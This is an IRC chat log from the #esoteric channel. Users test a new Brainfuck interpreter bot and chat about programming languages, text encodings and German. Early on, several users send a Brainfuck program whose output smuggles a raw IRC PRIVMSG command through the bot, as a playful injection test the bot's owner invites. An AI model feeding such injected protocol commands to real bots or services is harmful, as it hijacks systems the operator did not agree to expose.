:nortti!nortti@nano.smar.fi PRIVMSG #esoteric :+bfreset:+bf:++++++++++.[->++++++++<]>.++.---------.>+[--->++<]>.---------.++++++.------------.+[->++++<]>.+++.-[->+++<]>-.[--->+<]>----.----.+++++.+++[->+++<]>.+++++++++++++.---------.------.-[------>+<]>-.[-->+<]>+++.++++[->++<]>.--[-->+++<]>.>++++++++++. < 1395420304 254892 :passwordBOT!~passwordB@197.78.167.229 PRIVMSG #esoteric :done and it took 4773 cycles < 1395420304 349498 :passwordBOT!~passwordB@197.78.167.229 PRIVMSG #esoteric : Output is:  ¢™VMSG #esoteric: Hi < 1395420315 338108 :nortti!nortti@nano.smar.fi PRIVMSG #esoteric :interesting < 1395420326 7643 :password2!~password@197.78.167.229 PRIVMSG #esoteric :jip < 1395420332 111040 :password2!~password@197.78.167.229 PRIVMSG #esoteric :my Qt is braking < 1395420348 274661 :password2!~password@197.78.167.229 PRIVMSG #esoteric :breaking* < 1395420356 449930 :password2!~password@197.78.167.229 PRIVMSG #esoteric :beer + second lang == fail < 1395420423 238736 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :if you study drunk you have to take the test drunk < 1395420435 698006 :password2!~password@197.78.167.229 PRIVMSG #esoteric :anyone else wanna make it do IRC cmd before i disable em? < 1395420456 679065 :password2!~password@197.78.167.229 PRIVMSG #esoteric :good words of wisdom < 1395420458 419930 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :^bf ++++++++++.[->++++++++<]>.++.---------.>+[--->++<]>.---------.++++++.------------.+[->++++<]>.+++.-[->+++<]>-.[--->+<]>----.----.+++++.+++[->+++<]>.+++++++++++++.---------.------.-[------>+<]>-.[-->+<]>+++.++++[->++<]>.--[-->+++<]>.>++++++++++. < 1395420458 522510 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :.PRIVMSG #esoteric: Hi. < 1395420477 421157 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :oh right < 1395420576 935513 :password2!~password@197.78.167.229 PRIVMSG #esoteric :+bfreset:+bf:++++++++++.[->++++++++<]>.++.---------.>+[--->++<]>.---------.++++++.------------.+[->++++<]>.+++.-[->+++<]>-.[--->+<]>----.----.+++++.+++[->+++<]>.+++++++++++++.---------.------.-[------>+<]>-.[-->+<]>+++.++++[->++<]>.--[-->+++<]>.>++++++++++. < 1395420577 350375 :passwordBOT!~passwordB@197.78.167.229 PRIVMSG #esoteric :done and it took 4773 cycles < 1395420577 451330 :passwordBOT!~passwordB@197.78.167.229 PRIVMSG #esoteric : Output is:  ¢™VMSG #esoteric: Hi < 1395420582 348696 :password2!~password@197.78.167.229 PRIVMSG #esoteric :weird < 1395420608 547243 :password2!~password@197.78.167.229 PRIVMSG #esoteric :oh well < 1395420612 31961 :passwordBOT!~passwordB@197.78.167.229 QUIT :Quit: Good < 1395420633 93498 :passwordBOT!~passwordB@197.78.167.229 JOIN :#esoteric < 1395420649 628905 :password2!~password@197.78.167.229 PRIVMSG #esoteric :+bfreset:+bf:++++++++++.[->++++++++<]>.++.---------.>+[--->++<]>.---------.++++++.------------.+[->++++<]>.+++.-[->+++<]>-.[--->+<]>----.----.+++++.+++[->+++<]>.+++++++++++++.---------.------.-[------>+<]>-.[-->+<]>+++.++++[->++<]>.--[-->+++<]>.>++++++++++. < 1395420650 107000 :passwordBOT!~passwordB@197.78.167.229 PRIVMSG #esoteric : Output is: PRIVMSG #esoteric: Hi < 1395420687 101011 :password2!~password@197.78.167.229 PRIVMSG #esoteric :output += dettol ; < 1395421166 623368 :password2!~password@197.78.167.229 PRIVMSG #esoteric :oh i see why it didn't send the PRIVMSG < 1395421186 949117 :password2!~password@197.78.167.229 PRIVMSG #esoteric :there needs to be a space between the channel name and : < 1395421188 398170 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :facebook's new langauge, hack. http://www.wired.com/wiredenterprise/2014/03/facebook-hack/ < 1395421231 158458 :huhuh!~area@wikipedia/PiRSquared17 PRIVMSG #esoteric :looks like PHP < 1395421233 268395 :ket1v!~ket1v@CPE-124-177-3-128.lns1.dav.bigpond.net.au JOIN :#esoteric < 1395421248 545898 :password2!~password@197.78.167.229 PRIVMSG #esoteric :i know a gut the coded for facebook < 1395421259 944416 :password2!~password@197.78.167.229 PRIVMSG #esoteric :*guy < 1395421364 499907 :password2!~password@197.78.167.229 PRIVMSG #esoteric :he said it was absolutely horrible as know one there commented any of their code < 1395421395 192459 :nooodl!~nooodl@93.124-242-81.adsl-dyn.isp.belgacom.be PRIVMSG #esoteric :PHP is what’s called a dynamically typed language. Basically, this means you needn’t take the time to define specific parameters for each and every routine in your code, and once you finish a piece of code, you can almost instantly run it — without taking additional time to compile it into another form. The code essentially compiles in the background, as you write it. < 1395421397 116602 :password2!~password@197.78.167.229 PRIVMSG #esoteric :*no < 1395421465 338612 :augur!~augur@216-164-48-148.c3-0.slvr-ubr1.lnh-slvr.md.cable.rcn.com JOIN :#esoteric < 1395421468 493540 :nortti!nortti@nano.smar.fi PRIVMSG #esoteric :http://arstechnica.com/security/2014/03/php-bug-allowing-site-hijacking-still-menaces-internet-22-months-on/ < 1395421474 636527 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :nooodl: Wired's towering journalistic standards help keep us informed about the latest software technology. < 1395421491 429048 :augur_!~augur@216-164-48-148.c3-0.slvr-ubr1.lnh-slvr.md.cable.rcn.com QUIT :Read error: Connection reset by peer < 1395421504 470873 :ket1v!~ket1v@CPE-124-177-3-128.lns1.dav.bigpond.net.au QUIT :Ping timeout: 245 seconds < 1395421694 194617 :Bike!~Glossina@71-222-36-216.ptld.qwest.net PRIVMSG #esoteric :this is why we all need to switch to Active Server Pages. < 1395421735 223015 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :commenting code doesnt make code nice < 1395421941 906584 :password2!~password@197.78.167.229 PRIVMSG #esoteric :yes , but it lets other understand your code < 1395422031 552205 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :int x = 2; // declare an integer variable named x, and set its initial value to 2 < 1395422125 518145 :password2!~password@197.78.167.229 PRIVMSG #esoteric :... < 1395422151 812026 :Bike!~Glossina@71-222-36-216.ptld.qwest.net PRIVMSG #esoteric :% k20 ??? < 1395422155 422223 :password2!~password@197.78.167.229 PRIVMSG #esoteric :vod foo(int i1 , i2 , i8) < 1395422164 803775 :password2!~password@197.78.167.229 PRIVMSG #esoteric :*void < 1395422193 782212 :nooodl!~nooodl@93.124-242-81.adsl-dyn.isp.belgacom.be PRIVMSG #esoteric :hi < 1395422255 992395 :yorick!~yorick@oftn/member/yorick QUIT :Read error: Connection reset by peer < 1395422504 897964 :password2!~password@197.78.167.229 PRIVMSG #esoteric :when are a companies programmers bored? < 1395422790 741196 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :is this a quiz joke < 1395422831 787297 :password2!~password@197.78.167.229 PRIVMSG #esoteric :ssorta < 1395422855 932691 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :hm what was the english word for "quiz" before quiz was famously made up < 1395422875 62245 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Examination? < 1395422878 368703 :password2!~password@197.78.167.229 PRIVMSG #esoteric :puzzle < 1395422884 823483 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Questionnaire? < 1395422885 399567 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :quizzypoo < 1395422912 115802 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :hm oh that's a myth < 1395422916 719928 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :a myth! < 1395422927 456801 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :how mythterious < 1395422945 376552 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Much like my competence! < 1395422977 289287 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :how many of the things we learned in our childhood that were too good to be true, actually _were_ true? < 1395422984 564517 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :4 < 1395422998 336056 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :plausible. < 1395423008 393976 :huhuh!~area@wikipedia/PiRSquared17 PRIVMSG #esoteric :password2: when are they bored? < 1395423065 141777 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :when they're going through the drill < 1395423067 678775 :password2!~password@197.78.167.229 PRIVMSG #esoteric :when they start writing their own languages < 1395423105 699499 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i say my pun was better < 1395423118 516475 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :not _much_ better though < 1395423135 72057 :password2!~password@197.78.167.229 PRIVMSG #esoteric :everything is funny know < 1395423137 568820 :huhuh!~area@wikipedia/PiRSquared17 PRIVMSG #esoteric :password2: haha < 1395423150 954174 :password2!~password@197.78.167.229 PRIVMSG #esoteric :except that i need to pee and i just locked my room < 1395423163 763117 :huhuh!~area@wikipedia/PiRSquared17 PRIVMSG #esoteric :Google Go, Facebook Hack, does Twitter have its own language? < 1395423177 457695 :huhuh!~area@wikipedia/PiRSquared17 PRIVMSG #esoteric :maybe Golfscript, so you can fit the code in 140 chars < 1395423202 76920 :password2!~password@197.78.167.229 PRIVMSG #esoteric :hah < 1395423224 866500 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :meh you just put your program on punched cards. (132 is quite close to 140) < 1395423231 254324 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :now twitter fitting their code down to 140 chars would be something. < 1395423278 887781 :password2!~password@197.78.167.229 PRIVMSG #esoteric :ag < 1395423280 753195 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :You may be looking for Sclipting. < 1395423283 838634 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :maybe sclipting will get us there < 1395423298 741332 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :not yet tho < 1395423307 248775 :password2!~password@197.78.167.229 PRIVMSG #esoteric :effing , how many time am i gonna write 'know' instead of no/now < 1395423341 822506 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i don't gnaw < 1395423354 689339 :password2!~password@197.78.167.229 PRIVMSG #esoteric :... < 1395423374 499287 :password2!~password@197.78.167.229 PRIVMSG #esoteric :i tend to do it a lot when my mind is somwhere else < 1395423417 883011 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :i like how know and no sound pretty similar and now sounds completely different < 1395423433 334944 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :english is a mess < 1395423442 779581 :password2!~password@197.78.167.229 PRIVMSG #esoteric :you think thats bad < 1395423459 703660 :password2!~password@197.78.167.229 PRIVMSG #esoteric :my native language probably have lots more examples < 1395423471 825971 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :what is your native language? < 1395423482 537995 :password2!~password@197.78.167.229 PRIVMSG #esoteric :afrikaan < 1395423484 803304 :password2!~password@197.78.167.229 PRIVMSG #esoteric :*afrikaans < 1395423503 929979 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :okay, don't know shit about that < 1395423530 389014 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :http://en.wikipedia.org/wiki/Lion-Eating_Poet_in_the_Stone_Den seems relevant < 1395423534 234826 :password2!~password@197.78.167.229 PRIVMSG #esoteric :similar to nederlands < 1395423558 763847 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :so, similar to german, but not the real thing? ;p < 1395423560 595946 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :(there's some video on youtube of somebody actually reading the thing.) < 1395423573 359678 :password2!~password@197.78.167.229 PRIVMSG #esoteric :and some influences of german < 1395423628 305919 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :oh, linked from the wikipedia page. so that's how I found it. :)) < 1395423629 933493 :password2!~password@197.78.167.229 PRIVMSG #esoteric :mmm , gonna need a video of that < 1395423630 760891 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :must be weird < 1395423706 791329 :password2!~password@197.78.167.229 PRIVMSG #esoteric :oh gawd < 1395423761 457382 :password2!~password@197.78.167.229 PRIVMSG #esoteric :its hilarious < 1395423853 439961 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :int-e: that poem is some shi* < 1395423866 259931 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :If you mean this, it's a rather dull recital http://www.youtube.com/watch?v=vExjnn_3ep4 < 1395423920 870856 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Interesting fact: that vowel does not exist in english < 1395423950 997134 :password2!~password@197.78.167.229 PRIVMSG #esoteric :what vowel? < 1395423980 716859 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :Jafet: you're right ... I saw a different one, hmm. < 1395423991 721964 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :The poem has only one vowel, so I mean that one. < 1395424011 692079 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :are there words in english that do start with a "real" vocal? (i.e. no glottal stop before it) < 1395424033 859088 :password2!~password@197.78.167.229 PRIVMSG #esoteric :oh < 1395424061 823637 :password2!~password@197.78.167.229 PRIVMSG #esoteric :this is kinda creepy http://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=1&cad=rja&uact=8&ved=0CCoQtwIwAA&url=http%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DMEwbfnCpKA4&ei=9nksU9-VCsLy7Aa3xYCYBg&usg=AFQjCNG8GgFinV3JaBd1-QvRDm4NgFLklQ&sig2=SITCyBQiQTq_dZBU3L1IsQ&bvm=bv.62922401,d.ZGU < 1395424077 229106 :password2!~password@197.78.167.229 PRIVMSG #esoteric :oops sorry , i forgot the google made massive links < 1395424088 437766 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :*vowel < 1395424092 674198 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :damn false friends < 1395424170 92920 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :Jafet: I believe I saw http://www.youtube.com/watch?v=QXVJOhXY33U which isn't a good recital either, but I found it funny. < 1395424252 852618 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Die verdammten falschen Freunde? < 1395424266 339132 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :genau die < 1395424281 93689 :password2!~password@197.78.167.229 PRIVMSG #esoteric :ek verstaan daai , amper < 1395424321 919247 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Die, Grammatik, die < 1395424346 304803 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :(A diagrammatic die) < 1395424354 677212 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :huh? < 1395424367 314897 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :gnucide < 1395424383 457314 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :"die, bart, die" :D < 1395424394 628044 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :no, it's "der Bart". ;-) < 1395424436 434319 :Slereah_!~jackal@244.168.90.79.rev.sfr.net PRIVMSG #esoteric :No one speaking German could be an evil man! < 1395424441 126136 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :but it wouldn't be that funny in simpsons < 1395424447 909750 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :Slereah_: that! < 1395424488 973917 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :die bart des pairs < 1395424489 817003 :password2!~password@197.78.167.229 PRIVMSG #esoteric :i have always wanted to learn german , but have always been too lazy < 1395424513 334212 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :password2: shouldn't it be pretty easy for you? < 1395424521 342351 :password2!~password@197.78.167.229 PRIVMSG #esoteric :it should < 1395424526 680724 :password2!~password@197.78.167.229 PRIVMSG #esoteric :in some cases < 1395424544 222923 :password2!~password@197.78.167.229 PRIVMSG #esoteric :some word don't even change < 1395424557 313848 :password2!~password@197.78.167.229 PRIVMSG #esoteric :other are horrible < 1395424583 36094 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :but to be honest, as a german i don't understand a thing in nederlands < 1395424593 281393 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :(others seem to, though) < 1395424594 122682 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :grausame Worte < 1395424597 323159 :password2!~password@197.78.167.229 PRIVMSG #esoteric :really? < 1395424608 247093 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :ACTION feels the same about dutch. < 1395424611 518662 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :at least in written < 1395424623 828784 :password2!~password@197.78.167.229 PRIVMSG #esoteric :i did a sort rosetta course a while back for german < 1395424623 885087 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :it's easier in writing, but still hard. < 1395424645 163124 :password2!~password@197.78.167.229 PRIVMSG #esoteric :stuff like , der maichen kochen < 1395424673 173069 :zzo38!~zzo38@24-207-51-179.eastlink.ca JOIN :#esoteric < 1395424677 164623 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :what? < 1395424688 726829 :password2!~password@197.78.167.229 PRIVMSG #esoteric :my spelling is way off though < 1395424739 640460 :password2!~password@197.78.167.229 PRIVMSG #esoteric :how much does different dialecs of german differ? < 1395424740 360834 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :ACTION tries to figure out "maichen" < 1395424757 76208 :password2!~password@197.78.167.229 PRIVMSG #esoteric :childern , female < 1395424763 199112 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :Mädchen. < 1395424767 359262 :password2!~password@197.78.167.229 PRIVMSG #esoteric :ah < 1395424782 89386 :password2!~password@197.78.167.229 PRIVMSG #esoteric :oh i skipped the D < 1395424784 59161 :password2!~password@197.78.167.229 PRIVMSG #esoteric :lol < 1395424819 127741 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Somehow this floppy disk USB doesn't seem to work < 1395424841 81889 :password2!~password@197.78.167.229 PRIVMSG #esoteric :i think the largest reason i have not learnt german is that even if i master it ,I will use it very seldomly < 1395424892 486458 :shikhout!~shikhin@unaffiliated/shikhin QUIT :Read error: Connection reset by peer < 1395424897 808822 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Why do some things in Windows say, you do not have permission to view the current permissions of this object but you are allowed to make changes? < 1395424917 885116 :password2!~password@197.78.167.229 PRIVMSG #esoteric :because its windows < 1395424928 189722 :shikhout!~shikhin@59.177.202.80 JOIN :#esoteric < 1395424928 246592 :shikhout!~shikhin@59.177.202.80 QUIT :Changing host < 1395424928 246711 :shikhout!~shikhin@unaffiliated/shikhin JOIN :#esoteric < 1395424939 167525 :oerjan!oerjan@sprocket.nvg.ntnu.no QUIT :Quit: We are not permitted to tell you < 1395425013 312690 :zzo38!~zzo38@24-207-51-179.eastlink.ca QUIT :Remote host closed the connection < 1395425080 919396 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :I guess zzo asked some inconvenient questions. < 1395425726 639915 :password2!~password@197.78.167.229 PRIVMSG #esoteric :if I use ! to separate code from input , should i read it ascii values or take hexpairs , ie ([-]!B of [-]!42) < 1395425765 214499 :password2!~password@197.78.167.229 PRIVMSG #esoteric :s/of/or < 1395425787 387439 :nooodl!~nooodl@93.124-242-81.adsl-dyn.isp.belgacom.be PRIVMSG #esoteric :ascii values < 1395425801 70496 :password2!~password@197.78.167.229 PRIVMSG #esoteric :ok < 1395425869 314331 :password2!~password@197.78.167.229 PRIVMSG #esoteric :would probably be the easiest too < 1395425877 720378 :Bike!~Glossina@71-222-36-216.ptld.qwest.net PRIVMSG #esoteric :obviously use both, with ? for hexpairs < 1395425998 466560 :password2!~password@197.78.167.229 PRIVMSG #esoteric :mm , that is an idea < 1395426389 775205 :huhuh!~area@wikipedia/PiRSquared17 PRIVMSG #esoteric :I think allowing ASCII input would be more useful. < 1395426451 259805 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :password2: not ASCII values, just raw binary data < 1395426457 627212 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :(ASCII values never have the high bit set) < 1395426458 590828 :huhuh!~area@wikipedia/PiRSquared17 PRIVMSG #esoteric :[insert "why not both?" gif] < 1395426475 721199 :password2!~password@197.78.167.229 PRIVMSG #esoteric :really? < 1395426487 638493 :Bike!~Glossina@71-222-36-216.ptld.qwest.net PRIVMSG #esoteric :well, yeah, ascii is 7-bit. < 1395426568 685710 :password2!~password@197.78.167.229 PRIVMSG #esoteric :err , the tables i habe went to 255 < 1395426578 329917 :huhuh!~area@wikipedia/PiRSquared17 PRIVMSG #esoteric :I think Latin-1 is the 8-bit equivalent < 1395426581 395826 :password2!~password@197.78.167.229 PRIVMSG #esoteric :with weird chars from 127-255 < 1395426585 941445 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :the tables you have are wrong < 1395426588 452577 :huhuh!~area@wikipedia/PiRSquared17 PRIVMSG #esoteric :but there may be others < 1395426594 569741 :password2!~password@197.78.167.229 PRIVMSG #esoteric :ok < 1395426595 883346 :password2!~password@197.78.167.229 PRIVMSG #esoteric :lol < 1395426600 302931 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :they're probably showing you dos code page 437 or something < 1395426612 622768 :password2!~password@197.78.167.229 PRIVMSG #esoteric :probably < 1395426627 294116 :password2!~password@197.78.167.229 PRIVMSG #esoteric :i notice now i have another table open that only goes to 127 < 1395426642 327559 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :UTF-8 exploits this to maintain ASCII backwards-compatibility, incidentally < 1395426660 72213 :password2!~password@197.78.167.229 PRIVMSG #esoteric :ah < 1395426660 525420 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :in a UTF-8 stream bytes 0-127 represent codepoints 0-127, and the higher bytes are used to encode the full Unicode range < 1395426698 351608 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :so any valid ASCII stream is a UTF-8 stream with the same meaning (but you can't interpret arbitrary 8-bit binary data as UTF-8 and expect the codepoints to all match the byte values, of course) < 1395426831 376594 :huhuh!~area@wikipedia/PiRSquared17 PRIVMSG #esoteric :password2: do you use 0 or no-change for EOFs? < 1395426852 325858 :password2!~password@197.78.167.229 PRIVMSG #esoteric :i have not paid attention to EOFs < 1395426877 470992 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :is this for a BF derivative? < 1395426893 941783 :password2!~password@197.78.167.229 PRIVMSG #esoteric :nope , just plain BF < 1395426911 974652 :password2!~password@197.78.167.229 PRIVMSG #esoteric :actually the program is in this chat < 1395426928 865292 :password2!~password@197.78.167.229 PRIVMSG #esoteric :+bflist: < 1395426929 311978 :passwordBOT!~passwordB@197.78.167.229 PRIVMSG #esoteric : Commands are +bf: +breset: +bfdump: +bfdumpascii: < 1395426988 392850 :huhuh!~area@wikipedia/PiRSquared17 PRIVMSG #esoteric :+bfdumpascii: < 1395426996 254400 :huhuh!~area@wikipedia/PiRSquared17 PRIVMSG #esoteric :um < 1395427004 960586 :password2!~password@197.78.167.229 PRIVMSG #esoteric :that for some reason does not work so well < 1395427010 182794 :password2!~password@197.78.167.229 PRIVMSG #esoteric :+bfdump: < 1395427010 921231 :passwordBOT!~passwordB@197.78.167.229 PRIVMSG #esoteric :0 73 0 0 0 0 0 0 0 0 0 105 10 0 0 0 0 < 1395427033 88832 :password2!~password@197.78.167.229 PRIVMSG #esoteric :probably becaus I'm not filtering anything < 1395427058 592716 :password2!~password@197.78.167.229 PRIVMSG #esoteric :oops , i see another typo < 1395427071 26938 :huhuh!~area@wikipedia/PiRSquared17 PRIVMSG #esoteric :password2: breset? < 1395427084 346650 :huhuh!~area@wikipedia/PiRSquared17 PRIVMSG #esoteric :^help < 1395427084 449190 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :^ ; ^def ; ^show [command]; lang=bf/ul, code=text/str:N; ^str 0-9 get/set/add [text]; ^style [style]; ^bool < 1395427085 232219 :password2!~password@197.78.167.229 PRIVMSG #esoteric :yes < 1395427136 272715 :password2!~password@197.78.167.229 PRIVMSG #esoteric :+breset:+bf:+[] < 1395427139 475171 :passwordBOT!~passwordB@197.78.167.229 PRIVMSG #esoteric :done and it took 33554433 cycles < 1395427192 155847 :password2!~password@197.78.167.229 PRIVMSG #esoteric :+breset:+bf:+[]. < 1395427194 115702 :passwordBOT!~passwordB@197.78.167.229 PRIVMSG #esoteric :done and it took 33554433 cycles < 1395427205 556716 :password2!~password@197.78.167.229 PRIVMSG #esoteric :oh , duh < 1395427212 677864 :password2!~password@197.78.167.229 PRIVMSG #esoteric :+breset:+bf:+.[] < 1395427214 643345 :passwordBOT!~passwordB@197.78.167.229 PRIVMSG #esoteric :done and it took 33554432 cycles < 1395427214 700625 :passwordBOT!~passwordB@197.78.167.229 PRIVMSG #esoteric : Output is: < 1395427225 310950 :password2!~password@197.78.167.229 PRIVMSG #esoteric :hah < 1395427261 933846 :password2!~password@197.78.167.229 PRIVMSG #esoteric :does ascii not have EOL , EOF? < 1395427271 344805 :zzo38!~zzo38@24-207-51-179.eastlink.ca JOIN :#esoteric < 1395427282 275941 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :EOL is LF < 1395427287 62792 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :or CR LF, or CR, depending on platform < 1395427288 783120 :huhuh!~area@wikipedia/PiRSquared17 PRIVMSG #esoteric :ascii 10 < 1395427288 887201 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :but mostly LF. < 1395427300 26048 :password2!~password@197.78.167.229 PRIVMSG #esoteric :ah < 1395427311 978029 :password2!~password@197.78.167.229 PRIVMSG #esoteric :i see < 1395427336 687285 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :You could also ignore the CR and then probably it has LF afterward, too. < 1395427349 562738 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :However CR LF is suitable for printing. < 1395428489 231084 :ket1v!~ket1v@CPE-124-177-3-128.lns1.dav.bigpond.net.au JOIN :#esoteric < 1395428653 51281 :password2!~password@197.78.167.229 PRIVMSG #esoteric :cherio room < 1395428754 166969 :ket1v!~ket1v@CPE-124-177-3-128.lns1.dav.bigpond.net.au QUIT :Ping timeout: 245 seconds < 1395428765 938081 :JZTech101!jztech101@botters/jztech101 QUIT :Quit: Now what? #techcavern :D < 1395428797 38535 :JZTech101!jztech101@botters/jztech101 JOIN :#esoteric < 1395428944 330055 :passwordBOT!~passwordB@197.78.167.229 QUIT :Ping timeout: 265 seconds < 1395429032 114953 :nooodl_!~nooodl@93.124-242-81.adsl-dyn.isp.belgacom.be JOIN :#esoteric < 1395429039 452677 :password2!~password@197.78.167.229 QUIT :Ping timeout: 252 seconds < 1395429082 861813 :nooodl!~nooodl@93.124-242-81.adsl-dyn.isp.belgacom.be QUIT :Ping timeout: 286 seconds < 1395429454 229462 :shikhout!~shikhin@unaffiliated/shikhin QUIT :Quit: Leaving < 1395430440 56521 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Read error: Connection reset by peer < 1395430493 736128 :conehead!~conehead@unaffiliated/conehead JOIN :#esoteric < 1395430503 328010 :shikhin!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1395430791 263159 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Do you know DOS version of "RoboZZle" game? < 1395431130 435074 :KENNEDY!~canaima@190.111.121.124 JOIN :#esoteric < 1395431171 802068 :KENNEDY!~canaima@190.111.121.124 PART :#esoteric < 1395432289 819640 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :more important: do you know any android game (besides robozzle itself) that is like robozzle? < 1395432300 544980 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :No, I don't, I only know the DOS version < 1395432319 540311 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :there are at least 2 versions for android < 1395432335 223082 :nortti!nortti@nano.smar.fi PRIVMSG #esoteric :does the DOS version use data from the robozzle site? < 1395432412 297310 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :No, it uses a different format < 1395432594 26410 :Slereah_!~jackal@244.168.90.79.rev.sfr.net PRIVMSG #esoteric :"This procedure is instructive as a prototypical tree recursion, but it is not of thy people Israel" < 1395432599 322829 :Slereah_!~jackal@244.168.90.79.rev.sfr.net PRIVMSG #esoteric :Oh King James Programming <3 < 1395432689 916553 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Slereah_, I know the guy who makes them :) < 1395432745 494473 :Slereah_!~jackal@244.168.90.79.rev.sfr.net PRIVMSG #esoteric :Tell him he is a national treasure < 1395432798 863312 :Slereah_!~jackal@244.168.90.79.rev.sfr.net PRIVMSG #esoteric :https://www.youtube.com/watch?v=RzhRYGm_b9A < 1395432800 760900 :Slereah_!~jackal@244.168.90.79.rev.sfr.net PRIVMSG #esoteric :Oh god < 1395432809 118782 :barrucadu!~barrucadu@fsf/member/barrucadu JOIN :#esoteric < 1395432812 275988 :barrucadu!~barrucadu@fsf/member/barrucadu PRIVMSG #esoteric :Slereah_: Thanks < 1395432815 367550 :barrucadu!~barrucadu@fsf/member/barrucadu PART :#esoteric 